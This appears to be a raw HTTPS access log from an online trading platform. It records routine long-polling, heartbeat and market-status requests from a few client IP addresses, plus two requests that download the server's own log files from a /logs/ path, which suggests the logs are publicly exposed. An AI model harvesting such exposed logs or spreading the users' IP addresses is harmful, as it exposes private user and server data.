[09/Jan/2026:11:02:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:02:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928046227 HTTP/1.1" -
[09/Jan/2026:11:02:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928036587 HTTP/1.1" -
[09/Jan/2026:11:02:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928034802 HTTP/1.1" -
[09/Jan/2026:11:02:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:02:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928052228 HTTP/1.1" -
[09/Jan/2026:11:02:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928041700 HTTP/1.1" -
[09/Jan/2026:11:02:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928039845 HTTP/1.1" -
[09/Jan/2026:11:02:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928058237 HTTP/1.1" -
[09/Jan/2026:11:02:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928046866 HTTP/1.1" -
[09/Jan/2026:11:02:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928044871 HTTP/1.1" -
[09/Jan/2026:11:02:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:02:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928063302 HTTP/1.1" -
[09/Jan/2026:11:03:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928052013 HTTP/1.1" -
[09/Jan/2026:11:03:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928049914 HTTP/1.1" -
[09/Jan/2026:11:03:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928068367 HTTP/1.1" -
[09/Jan/2026:11:03:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928057206 HTTP/1.1" -
[09/Jan/2026:11:03:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928054928 HTTP/1.1" -
[09/Jan/2026:11:03:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:03:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:03:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928073397 HTTP/1.1" -
[09/Jan/2026:11:03:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928062345 HTTP/1.1" -
[09/Jan/2026:11:03:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928059947 HTTP/1.1" -
[09/Jan/2026:11:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:03:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928078427 HTTP/1.1" -
[09/Jan/2026:11:03:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928064970 HTTP/1.1" -
[09/Jan/2026:11:03:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928067489 HTTP/1.1" -
[09/Jan/2026:11:03:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:03:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928083487 HTTP/1.1" -
[09/Jan/2026:11:03:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928070016 HTTP/1.1" -
[09/Jan/2026:11:03:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928072578 HTTP/1.1" -
[09/Jan/2026:11:03:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928088555 HTTP/1.1" -
[09/Jan/2026:11:03:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928075037 HTTP/1.1" -
[09/Jan/2026:11:03:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928077748 HTTP/1.1" -
[09/Jan/2026:11:03:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:03:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928093615 HTTP/1.1" -
[09/Jan/2026:11:03:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928080092 HTTP/1.1" -
[09/Jan/2026:11:03:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928082866 HTTP/1.1" -
[09/Jan/2026:11:03:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928098677 HTTP/1.1" -
[09/Jan/2026:11:03:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928085113 HTTP/1.1" -
[09/Jan/2026:11:03:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928088033 HTTP/1.1" -
[09/Jan/2026:11:03:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:03:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:03:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928103738 HTTP/1.1" -
[09/Jan/2026:11:03:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928090141 HTTP/1.1" -
[09/Jan/2026:11:03:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928093188 HTTP/1.1" -
[09/Jan/2026:11:03:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:03:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:03:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928108764 HTTP/1.1" -
[09/Jan/2026:11:03:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928095162 HTTP/1.1" -
[09/Jan/2026:11:03:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928098374 HTTP/1.1" -
[09/Jan/2026:11:03:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:03:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928113820 HTTP/1.1" -
[09/Jan/2026:11:03:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928100189 HTTP/1.1" -
[09/Jan/2026:11:03:47 +0800] 47.128.17.7 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20241018 HTTP/1.1" 11815454
[09/Jan/2026:11:03:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928103443 HTTP/1.1" -
[09/Jan/2026:11:03:47 +0800] 47.128.51.176 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250922 HTTP/1.1" 8780802
[09/Jan/2026:11:03:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928118942 HTTP/1.1" -
[09/Jan/2026:11:03:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928105255 HTTP/1.1" -
[09/Jan/2026:11:03:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:03:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:03:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928108495 HTTP/1.1" -
[09/Jan/2026:11:04:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928123999 HTTP/1.1" -
[09/Jan/2026:11:04:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928110293 HTTP/1.1" -
[09/Jan/2026:11:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928113647 HTTP/1.1" -
[09/Jan/2026:11:04:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928129074 HTTP/1.1" -
[09/Jan/2026:11:04:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928115315 HTTP/1.1" -
[09/Jan/2026:11:04:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928118799 HTTP/1.1" -
[09/Jan/2026:11:04:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:04:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:04:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928134136 HTTP/1.1" -
[09/Jan/2026:11:04:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928120339 HTTP/1.1" -
[09/Jan/2026:11:04:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:04:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:04:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928123926 HTTP/1.1" -
[09/Jan/2026:11:04:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928139158 HTTP/1.1" -
